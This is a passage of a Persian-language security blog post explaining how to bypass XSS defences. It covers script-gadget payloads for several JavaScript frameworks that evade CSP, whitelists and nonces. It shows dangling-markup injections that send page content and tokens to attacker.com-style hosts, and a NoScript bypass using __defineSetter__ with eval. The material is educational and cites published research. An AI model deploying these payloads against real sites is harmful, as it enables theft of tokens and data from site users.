کدی شبیه زیر اجرا میشود:

CallMember.prototype.evaluate =
function(...) { // ...
return func.apply(instance, args);
};

بنابراین ما میتوانیم دستورات دلخواه ایجاد کنیم و توابع محلی را فراخوانی کنیم. Payload زیر یک تگ script جدید با کد ما اضافه میکند:

<div ref="me"
s.bind="$this.me.ownerDocument.createElement('script')"
data-bar="${$this.me.s.src='data:,alert(1)'}"
data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>

در ادامه Payload دیگری مشاهده میکنید که تابع alert را صدا میزند:

<div ref=foo
s.bind="$this.foo.ownerDocument.defaultView.alert(1)">
</div> 

بخش this.foo$ تگ div را انتخاب میکند، ownerDocument نیز به document اشاره دارد و defaultView آبجکت window میباشد. این Payload تمام Mitigation های آزمایش شده را دور میزند.

در مثال زیر در Polymer 1.x Frameworkما ویژگی های Private شروع شونده با _ را دوباره write میکنیم تا Framework را گیج کنیم:

<template is=dom-bind>
    <div five={{insert(me._nodes.0.scriptprop)}} four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
         three="{{set('me',nextSibling.previousSibling)}}" two={{set('_nodes.0.scriptprop.src', 'data:\,alert(1)')}}
         scriptprop={{_factory()}} one={{set('_factoryArgs.0', 'script')}}>
</template>

نکته: کد را از پایین به بالا بخوانید.

با استفاده از این Framework نیز میتوان به صورت زیر CSP هایی که از لیست سفید و Nonce استفاده میکنند را دور زد:

<template is=dom-bind>
    <div c={{alert('1', ownerDocument.defaultView)}} b={{set('_rootDataHost', ownerDocument.defaultView)}}></div>
</template>

این نوع از CSP را میتوان با +AngularJS 1.6 نیز به صورت زیر دور زد:

<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(1)">

میتوان Nonce های CSP را نیز استخراج کرد و از آن های استفاده دوباره کرد، با استفاده از Ractive Framework به صورت زیر Nonce اختصاص داده شده به تگ script توسط CSP دزدیده میشود:

<script id="template" type="text/ractive">
    <iframe srcDoc="
<script nonce={{@global.document.currentScript.nonce}}>
alert(1337)
</{{}}script>">
    </iframe>
</script>

در نتیجه برای پیدا کردن Gadget ها در صورتی که مکانیزم های دفاعی فعال باشند باید به صورت زیر عمل کرد:

در صورت وجود فیلتر های XSS و WAF ها
  • به دنبال ویژگی هایی که Payload هارا Encode میکنند بگردید.
  • ویژگی هایی که تجزیه کننده های HTML را گیج میکنند را پیدا کنید.
  • در Payload خودتان از کد هایی استفاده کنید که هنگام اجرای موفقیت آمیز خروجی ای نمایش دهند برای مثال window.name
در صورت وجود فیلتر کننده های (sanitizzer) سمت کاربر
  • زنجیره عناصر یا ویژگی های موجود در لیست سفید را پیدا کنید مانند ویژگی های -data
در صورت وجود CSP از نوع unsafe-eval یا strict-dynamic
  • به دنبال DOM هایی بگردید که در نهایت به تابع eval یا ایجاد script های جدید میرسند یعنی Gadget های eval یا createElement(‘script’)
در صورت وجود CSP از نوع لیست سفید، Nonce یا Hash
  • Framework هایی که از تفسیر کننده های عبارت سفارشی خودشان استفاده میکنند را پیدا کنید.

استفاده از DOM-Based Dangling Markup

Dangling Markup یک تکنیک برای دزدیدن محتوای یک صفحه بدون استفاده از script میباشد و از منابعی مانند عکس ها برای ارسال داده به یک سرور دوری که مهاجم آن را کنترل میکند، استفاده میکند. این تکنیک زمانی مفید است که XSS از نوع Reflected به دلیل وجود CSP کار نمیکند یا بلاک میشود. این تکنیک به این صورت است که تگ یا ویژگی HTML ای که در حالت بسته نشده قرار دارد برای مثال ویژگی src در تگ img را به طور کامل نبندیم تا بقیه Markup موجود در صفحه آن را ببندند اما به همراه آن داده های موجود در بین به سرور از راه دور فرستاده میشود. برای مثال فرض کنید در بالای تگ script محلی در صفحه برای تزریق وجود دارد، همچنین تگ form ای به صورت زیر موجود است:

INJECTION HERE <b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>

اگر ما تگ img ای دارای ویژگی src بسته نشده تزریق کنیم:

<img src="https://attacker.com/?

کد های بین محل تزریق و Double Qoutation بعدی به سرور مهاجم ارسال خواهد شد. این کد ها ممکن است شامل اطلاعات حساس مانند توکن CSRF باشند.

<img src="https://evilserver/?<b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>
دور زدن CSP با استفاده از ویژگی target در تگ base

همانطور که میدانید CSP اجازه نمیدهد که منابع خارجی در سایت لود شود تا از اینگونه حملات جلوگیری کند، با این حال تکنیکی وجود دارد که محدود کننده ترین CSP ها مانند CSP زیر را دور میزند:

Content-Security-Policy: default-src 'none'; base-uri 'none';

سیاست تعریف شده در CSP بالا تگ img با ویژگی src بسته نشده را بلاک میکند زیرا این سیاست اجازه لود عکس از منبع خارجی نمیدهد با این حال ما میتوانیم از تگ base برای دور زدن این محدودیت استفاده کنیم. با استفاده از ویژگی target بسته نشده در این تگ میتوان نام window در هر لینک موجود در صفحه را تغییر و برابر تمام داده های موجود در صفحه بعد از ویژگی target تا Qoutation بعدی قرار داد، به این صورت میتوان توکن ها یا هر اطلاعات بعد از نقطه تزریق تا Qoutation بعدی را دزدید. برای اینکه مهاجم بتواند داده استخراج کند، قربانی باید روی لینک تزریق شده کلیک کند و به دلیل اینکه نام window برای دامنه های مقابل قابل دستیابی ست، کافی ست مهاجم ویژگی window.name را بخواند:

<a href=http://attacker.com/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="blah
تزریق کد مخرب به روش Dangling Markup با استفاده از تگ base در صفحه آسیب پذیر
تزریق کد مخرب به روش Dangling Markup با استفاده از تگ base در صفحه آسیب پذیر

با تزریق کد بالا در صفحه آسیب پذیر، مقدار ویژگی name صفحه مهاجم که لینک آن در تگ a قرار گرفته برابر محتوای صفحه قرار میگیرد چون بعد از تگ a ، از تگ base و ویژگی target آن استفاده شده است.
کد زیر، کد موجود در صفحه ی کنترل شده توسط مهاجم یعنی name.html میباشد که لینک آن توسط قربانی کلیک میشود.

<script>alert("The extracted content is:" + name);</script>

همانطور که میبینید مهاجم میتواند با خواندن ویژگی name صفحه خودش، اطلاعات استخراج شده را مشاهده کند.

مشاهده ی اطلاعات استخراج شده از صفحه آسیب پذیر، در ویژگی window.name صفحه مهاجم
مشاهده ی اطلاعات استخراج شده از صفحه آسیب پذیر، در ویژگی window.name صفحه مهاجم
راه های کاهش این تکنیک (Mitigations)

اگر توسعه دهنده درون صفحه تگ base خودش را قبل از تزریق مهاجم اضافه کرده باشد، این تگ از اجازه نمیدهد تا تگ base دومی، ویژگی target را بازنویسی کند:

<base target="_self" />
استفاده از این تکنیک بدون تگ base

برای دور زدن XSS Auditor و CSP و به هم زدن Mitigation ای که گفته شد بدون استفاده از تگ base باید تگ form ای با ویژگی target بدون ویژگی action تزریق کرد:

<input name=x type=hidden form=x value="<a href=http://attacker.com/dangling_markup/name.html><font size=100 color=red>You must click me</font></a>"><button form=x><font size=100 color=red>Click me</font></button><form id=x target="blah

وقتی فرم ارسال بشود مقادیر موجود در ویژگی value که همان لینک سایت مهاجم میباشد دوباره به همان صفحه ارسال میشود.

تزریق کد مخرب به روش Dangling Markup با استفاده از تگ form در صفحه آسیب پذیر
تزریق کد مخرب به روش Dangling Markup با استفاده از تگ form در صفحه آسیب پذیر

با کلیک برروی دکمه Click me که اول ظاهر میشود دوباره همان صفحه باز میشود اما این بار حاوی محتوای موجود در ویژگی value در تگ فرم است،

اجرای کد مخرب تزریق شده با استفاده از تگ form با کلیک قربانی و بازگشت دوباره به صفحه آسیب پذیر
اجرای کد مخرب تزریق شده با استفاده از تگ form با کلیک قربانی و بازگشت دوباره به صفحه آسیب پذیر

در نهایت با کلیکی دیگر برروی لینک با عنوان You must click me به سایت مهاجم هدایت میشوید. در حقیقت کلیک اول نام window را برابر مقدار ویژگی target بسته نشده قرار میدهد، با کلیک دوم شما داده های استخراج شده از صفحه را با استفاده از ویژگی window.name همانند سناریو قبل در سایت مهاجم مشاهده میکنید. پس دو کلیک به جای یک کلیک لازم است.

مشاهده ی اطلاعات استخراج شده از صفحه آسیب پذیر، در ویژگی window.name صفحه مهاجم با کلیک دوم
مشاهده ی اطلاعات استخراج شده از صفحه آسیب پذیر، در ویژگی window.name صفحه مهاجم با کلیک دوم
مشاهده ی اطلاعات استخراج شده از صفحه آسیب پذیر، در ویژگی window.name صفحه مهاجم با کلیک دوم

دور زدن NoScript Extention

این Extention، یک add-on امنیتی قدرتمند در Firefox ، Seamonkey و بقیه مرورگر های Mozilla میباشد. وظیفه اصلی آن این است که JavaScript ، جاوا ، Flash و بقیه پلاگین هایی که کد های نا امن برروی مرورگر کاربر اجرا میکنند را بلاک کند و تنها اجازه اجرای کد به سایت های مورد اعتماد موجود در لیست سفید (Whitelist) را میدهد.

یکی از روش هایی که میتواند در دور زدن این مکانیزم امنیتی به ما کمک کند، کشف و اکسپلویت آسیب پذیری XSS در دامنه های موجود در لیست سفید میباشد.
زیرا دامنه های موجود در لیست سفید اجازه اجرای JavaScript بر روی مرورگر کاربر را دارند.

روش بعدی بر گرفته از مقاله منتشر شده از محقق garethheyes در وبسایت PortSwigger میباشد که در حال حاضر این روش Patch شده و کار نمیکند.
این Extension فقط اجازه ی فراخوانی توابعی که توسط کاربر تعریف شده اند مانند تابع ()a را میدهد بنابراین کد ',a(1),' بدون مشکل اجرا میشود. این روش قابل بهره برداری نیست زیرا در صفحه باید تابعی تعریف شده باشد که با استفاده از آرگومان ورودی خود کار خطرناکی انجام دهد. این عملکرد باعث شد تا به دنبال توابع و متد هایی که ممکن است فراموش شده باشند بگردیم.

متد __defineSetter__

این متد، ویژگی و متغیر مشخص شده در آرگومان اول خودش را به عنوان آرگومان به تابع مشخص شده در آرگومان دوم خودش انتقال میدهد. از آنجایی که window نیز یک نوع آبجکت میباشد میتوان این متد را برای آبجکت window نیز صدا زد، حتی میتوان اسم آبجکت window را هم به کار نبرد.

<script>x = '',__defineSetter__('x',alert),x=1,'';</script>

کد مخرب بالا که درون تگ های script قرار گرفته با استفاده از متد __defineSetter__ متغیر x را به تابع alert پاس میدهد و در آخر مقدار متغیر x برابر 1 قرار میگیرد، در نتیجه کد بالا اجرا شده و پنجره alert با مقدار 1 نمایش داده میشود و به این ترتیب فیلتر XSS برای Noscript را دور میزند.

برای اجرای کد دلخواه میتوان به جای alert از تابع eval استفاده کرد و متغیری مانند name را به آن انتقال داد. استفاده از name باعث میشود تا بتوان Payload هارا از طریق ویژگی window.name بین دامنه ها ارسال کرد. معمولا از ویژگی name تگ iframe که مقدار آن برابر Payload است استفاده میشود و سپس از طریق استفاده از ویژگی name در سایت آسیب پذیر از آن Payload دوباره استفاده میشود.

<iframe name=alert(1) src="//somedomain?x=',defineSetter('x',eval),x=name,'"></iframe>

منابع

http://michaelthelin.se/security/2014/06/08/web-security-cross-site-scripting-attacks-using-utf-7.html
https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code
https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
https://labs.portcullis.co.uk/download/XSS-Tunnelling.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
https://owasp.org/www-pdf-archive//2017-04-20-JSONPXSS.pdf
https://owasp.org/www-pdf-archive/OWASP_BeNeLux-Day_2017_Bypassing_XSS_mitigations_via_script_gadgets_Sebastian_Lekies.pdf
https://cure53.de/fp170.pdf

Post Views: 6,252
نوشتهٔ پیشین
مسمومیت حافظه پنهان وب
نوشتهٔ بعدی
تحلیل تکنیکال جاسوس افزار پگاسوس (قسمت اول)

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

این فیلد را پر کنید
این فیلد را پر کنید
لطفاً یک نشانی ایمیل معتبر بنویسید.
شما برای ادامه باید با شرایط موافقت کنید

نویسنده

Zahra Tayefi
Chief Operating Officer

نوشته‌های تازه

  • آسیب پذیری های روز صفر ایمیل سرور Zimbra 13 تیر 1400
  • تحلیل تکنیکال جاسوس افزار پگاسوس (قسمت اول) 13 تیر 1400
  • دنیای آسیب پذیری XSS 13 تیر 1400
  • مسمومیت حافظه پنهان وب 13 تیر 1400
  • تزریق کد قالب سمت کاربر به AngularJS 13 تیر 1400

دسته‌ها

  • وبلاگ – آسیب پذیری ها (4)
  • وبلاگ – جرم شناسی دیجیتال (1)
  • وبلاگ – فتح پرچم (1)

آخرین نوشته ها

آسیب پذیری های روز صفر ایمیل سرور Zimbra
13 دی در 6:24 pm
تحلیل تکنیکال جاسوس افزار پگاسوس (قسمت اول)
14 مرداد 1400
مسمومیت حافظه پنهان وب
12 تیر 1400

ارتباط با ما

[email protected]
۰۶۲۴۹ ۳۶۸ ۰۲۶
استان البرز، کرج، فردیس، فلکه اول، برج نگین
Twitter
GitHub
Telegram
YouTube
LinkedIn
Instagram

تمامی حقوق این سایت متعلق به شرکت اکسین ایمن نیکراد است.

  • شرایط استفاده
  • سیاست حفظ حریم خصوصی